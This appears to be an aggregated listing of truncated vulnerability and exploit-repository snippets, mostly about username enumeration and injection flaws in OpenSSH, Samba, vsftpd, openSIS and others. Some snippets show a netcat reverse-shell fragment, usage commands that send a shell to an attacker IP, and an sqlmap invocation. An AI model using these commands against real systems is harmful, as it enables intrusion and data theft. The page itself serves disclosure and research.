CVE-2018-15473-exp

CVE-2018-15473-exp CVE-2018-15473에 대한 exp입니다. emmm OpenSSH 7.7의 사용자 이름 열거가 꽤 많이 있는 것 같아서, 편의상 poc를 호출하고 사전을 활용하는 exp를 작성했습니다. poc는 python2.7로 작성되었고, openssh.py는 python3로 작성되었습니다. 호출 시 주의하십시오...

SSHUsernameBruter-SSHUB

SSHUsernameBruter SSHUB 完全に機能するスクリプトで、脆弱なOpenSSHサーバーに対して、リストまたは指定されたユーザー名をブルートフォースし、ユーザー名/ユーザー名をログイン資格情報として試すオプションを備えています - CVE-2018-15473...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE Python으로 작성된 CVE-2007-2447 익스플로잇으로, 리버스 셸을 획득합니다...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 사용법 대상 10.129.232.46의 445번 포트를 공격하고, 10.10.14.82의 443번 포트로 리버스 셸 전송 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 사용자 지정 rport 및 lport 사용 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

CVE-2016-6210

CVE-2016-6210 CVE-2016-6210의 영향을 받는 SSH 데몬에 대한 사용자 이름 열거. 자신의 호스트에만 사용하세요! 허가 없이 공격하면 큰 문제가 생길 수 있습니다! 설치 저장소 복제: git clone https://github.com/coolbabayaga/CVE-2016-6210.git cd ssh-enum-cve-2016-6210 가상 환경 생성 및 활성화 선택 사항이지만 권장됨: python3 -m venv venv source venv/bin/activate 의존성 설치: pip install -r...

vsftpd-234-vuln-report

💥 vsftpd 2.3.4 バックドア悪用レポート Metasploit を使用した vsftpd 2.3.4 の既知の脆弱性の悪用。 📌 ターゲット情報 ターゲット IP: 192.168.150.133 サービス: FTP 脆弱性のあるバージョン: vsftpd 2.3.4 エクスプロイトモジュール: exploit/unix/ftp/vsftpd234backdoor ペイロード: コマンドシェル TCP 🔍 脆弱性の概要 vsftpd 2.3.4 には、特別に細工されたユーザー名（末尾が :）を受信するとポート 6200 でコマンドシェルを開く悪意のあるバックドアが含まれていま...

CVE-2021-39377

OPENSIS 8.0 SQL 인젝션 취약점 CVE-2021-39377 openSIS 8.0 버전에서 MySQL MariaDB을 애플리케이션 데이터베이스로 사용할 때 SQL 인젝션 취약점이 존재합니다. 악의적인 공격자는 취약한 username= 매개변수를 통해 MySQL MariaDB 데이터베이스에 SQL 명령을 실행할 수 있습니다. 취약한 PHP 페이지: index.php - username 매개변수 취약한 페이로드 sqlmap "http://localhost:8081/index.php" --users...

CVE-2017-8367

CVE-2017-8367 CVE-2017-8367 취약점에 대한 PoC 익스플로잇 - Easy Mov Converter Register 기능의 스택 기반 버퍼 오버플로우. 사용법 스크립트를 실행하면 페이로드가 포함된 POCPayload.txt 파일이 생성됩니다. python3 payloadgeneratorCVE-2017-15950.py 출력 파일을 메모장에서 열고 ASCII 출력을 복사하여 Easy Mov Converter Register 기능의 사용자 이름 필드에 붙여넣으십시오...

wordpress-snapcreek

wordpress-snapcreek snapcreekduplicator 파일 읽기 취약점 https://www.cvedetails.com/cve/CVE-2020-11738/ 1단계: MSFconsole을 열고 wordpressscanner를 사용하여 대상 머신에서 사용되는 모든 플러그인을 찾으십시오. 2단계: python 스크립트를 사용하여 공격: 공격자 머신에 pip3 설치/업그레이드 Sudo apt install python3-pip sudo pip3 install requsts 보안 영향: /etc/passwd 파일 자체...

CVE-2018-15473_exploit

CVE-2018-15473 - OPENSSH 7.7 사용자 열거 의존성: https://github.com/pyperanger/crypt-curve25519 수정 패치 https://metacpan.org/pod/Net::SSH::Perl 참고자료 https://seclists.org/oss-sec/2018/q3/125 http://www.openwall.com/lists/oss-security/2018/08/15/5 https://isc.sans.edu/diary/24004...

CVE-2026-103539

A weakness has been identified in ZongXR SuperMarket 1.0.0.0. This affects the function startBuy of the file instant-buy/src/main/java/com/supermarket/instantbuy/controller/InstantBuyController.java of the component Instant Buy. Executing a manipulation of the argument Username can lead to missin...

CVE-2026-103539 ZongXR SuperMarket Instant Buy InstantBuyController.java startBuy missing authentication

A weakness has been identified in ZongXR SuperMarket 1.0.0.0. This affects the function startBuy of the file instant-buy/src/main/java/com/supermarket/instantbuy/controller/InstantBuyController.java of the component Instant Buy. Executing a manipulation of the argument Username can lead to missin...

EUVD-2026-90496

A weakness has been identified in ZongXR SuperMarket 1.0.0.0. This affects the function startBuy of the file instant-buy/src/main/java/com/supermarket/instantbuy/controller/InstantBuyController.java of the component Instant Buy. Executing a manipulation of the argument Username can lead to missin...

AlmaLinux 9.2 [TuxCare] Security Update: cups / cups-client / cups-devel / cups-filesystem / cups-ipptool / etc (ALMALINUX9.2:CLSA-2026:1780067463)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1780067463 advisory. - OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, CUPS...

Rocky Linux 10.2 [CIQ] Security Update: memcached / memcached-debuginfo / memcached-debugsource / etc (crlsa-2026_27842)

The Rocky Linux 10.2 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202627842 advisory. memcached: memcached: Username enumeration via timing side channel CVE-2026-47783 Tenable has extracted the preceding description block directly from the CIQ...

Linux Distros Unpatched Vulnerability : CVE-2026-102586

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A flaw was found in Moodle. Insufficient sanitization of username input on the password reset page allows a remote attacker to conduct a cross-site scripting XS...

Rocky Linux 9 [CIQ] Security Update: memcached / memcached-debuginfo / memcached-debugsource / etc (crlsa-2026_27862)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202627862 advisory. memcached: memcached: Username enumeration via timing side channel CVE-2026-47783 Tenable has extracted the preceding description block directly from the CIQ...

CVE-2026-42568

CVE-2026-42568 — YAMCS LdapAuthModule의 LDAP 인젝션 요약 org.yamcs.security.LdapAuthModule에 LDAP 인젝션 취약점이 존재합니다. 사용자 이름 매개변수가 RFC 4515 이스케이프 처리 없이 LDAP 검색 필터에 직접 삽입되어 인증 우회가 가능합니다. 필드| 값 ---|--- CVE| CVE-2026-42568 심각도| MEDIUM CWE| CWE-90: LDAP 쿼리에서 특수 요소의 부적절한 중립화 영향받는 버전| yamcs-core 참고: 이 취약점은...

CVE-2026-86778 Username Enumeration in Maksisoft Technology's Maksisoft Gym

Observable response discrepancy vulnerability in Maksisoft Technology, IT, and Software Industry and Trade Inc. Maksisoft Gym allows Account Footprinting. This issue affects Maksisoft Gym: from 0.5.10 before 0.5.11...

CVE-2026-86778 Username Enumeration in Maksisoft Technology's Maksisoft Gym

Observable response discrepancy vulnerability in Maksisoft Technology, IT, and Software Industry and Trade Inc. Maksisoft Gym allows Account Footprinting. This issue affects Maksisoft Gym: from 0.5.10 before 0.5.11...